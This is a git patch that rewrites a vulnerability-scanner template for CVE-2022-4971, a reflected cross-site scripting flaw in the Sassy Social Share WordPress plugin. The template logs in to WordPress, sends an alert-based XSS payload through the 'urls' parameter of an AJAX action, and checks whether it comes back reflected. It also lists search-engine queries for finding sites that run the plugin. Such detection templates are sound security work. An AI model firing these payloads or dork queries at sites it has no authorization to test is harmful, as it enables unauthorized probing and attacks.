From 0f6b9e4b4c1a3d706fe14856cceb7cf3522d0f3f Mon Sep 17 00:00:00 2001
From: Dhiyaneshwaran <leedhiyanesh@gmail.com>
Date: Wed, 10 Sep 2025 02:26:06 -0700
Subject: [PATCH] Add files via upload

---
 http/cves/2022/CVE-2022-4971.yaml | 107 +++++++++++++++---------------
 1 file changed, 54 insertions(+), 53 deletions(-)

diff --git a/http/cves/2022/CVE-2022-4971.yaml b/http/cves/2022/CVE-2022-4971.yaml
index e2a91f05c56..08ad512a8c0 100644
--- a/http/cves/2022/CVE-2022-4971.yaml
+++ b/http/cves/2022/CVE-2022-4971.yaml
@@ -1,53 +1,54 @@
-id: CVE-2022-4971
-
-info:
-  name: Sassy Social Share <= 3.3.3 - Cross-Site Scripting
-  author: popcorn94
-  severity: medium
-  description: |
-    The Sassy Social Share plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'urls' parameter called via the 'heateor_sss_sharing_count' AJAX action in versions up to, and including, 3.3.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
-  reference:
-    - https://www.wordfence.com/threat-intel/vulnerabilities/id/85277960-2bba-4cd7-9f4c-e04f6743b96c?source=cve
-    - https://wpscan.com/vulnerability/4631519b-2060-43a0-b69b-b3d7ed94c705/
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-4971
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2022-4971
-    cwe-id: CWE-79
-    epss-score: 0.00125
-    epss-percentile: 0.32487
-    cpe: cpe:2.3:a:heateor:sassy_social_share:*:*:*:*:*:wordpress:*:*
-  metadata:
-    verified: true
-    max-request: 2
-    vendor: heateor
-    product: sassy_social_share
-    framework: wordpress
-    shodan-query: http.html:"/wp-content/plugins/sassy-social-share"
-    fofa-query: body=/wp-content/plugins/sassy-social-share/
-    publicwww-query: /wp-content/plugins/sassy-social-share/
-    google-query: inurl:"/wp-content/plugins/sassy-social-share"
-  tags: wpscan,cve,cve2022,wordpress,wp-plugin,wp,sassy-social-share,xss,authenticated
-
-http:
-  - raw:
-      - |
-        POST /wp-login.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        log={{username}}&pwd={{password}}&wp-submit=Log+In
-
-      - |
-        GET /wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[<img%20src%3dx%20onerror%3dalert(document.domain)>]= HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains_all(body_2, "facebook_urls\":", "<img src=x onerror=alert(document.domain)>")'
-          - 'contains(content_type_2, "text/html")'
-          - 'status_code_2 == 200'
-        condition: and
-# digest: 4a0a00473045022100ba84a809eed6f1e45c0f402e928c53d6f0c744c553b68bb8eeda6afee0f2e8e402200f200d1d92c15d6e6c5305e84d83ed9313692c057fccdf81328141395e5bccf5:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
+id: CVE-2022-4971
+
+info:
+  name: Sassy Social Share <= 3.3.3 - Cross-Site Scripting (XSS)
+  author: popcorn94
+  severity: medium
+  description: |
+    The Sassy Social Share plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'urls' parameter called via the 'heateor_sss_sharing_count' AJAX action in versions up to, and including, 3.3.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-4971
+    - https://www.wordfence.com/threat-intel/vulnerabilities/id/85277960-2bba-4cd7-9f4c-e04f6743b96c?source=cve
+    - https://wpscan.com/vulnerability/4631519b-2060-43a0-b69b-b3d7ed94c705/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.5
+    cve-id: CVE-2022-4971
+    cwe-id: CWE-79
+    epss-score: 0.00085
+    epss-percentile: 0.25683
+    cpe: cpe:2.3:a:sassy-social-share:sassy-social-share:*:*:*:*:*:wordpress:*:*
+  metadata:
+    vendor: sassy-social-share
+    product: sassy-social-share
+    framework: wordpress
+    shodan-query: http.html:"/wp-content/plugins/sassy-social-share"
+    fofa-query: body=/wp-content/plugins/sassy-social-share/
+    publicwww-query: /wp-content/plugins/sassy-social-share/
+  tags: cve,cve2022,wordpress
+
+variables:
+  username: "test"
+  password: "test"
+  Hostname: "localhost"
+
+http:
+  - raw:
+      - | # login admin account
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In
+
+      - |
+        GET /wordpress/wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[<img%20src%3dx%20onerror%3dalert(document.domain)>]= HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains_all(body_2, "facebook_urls", "<img src=x onerror=alert(document.domain)>")'
+          - 'contains(content_type_2, "text/html")'
+          - 'status_code_2 == 200'
+        condition: and
\ No newline at end of file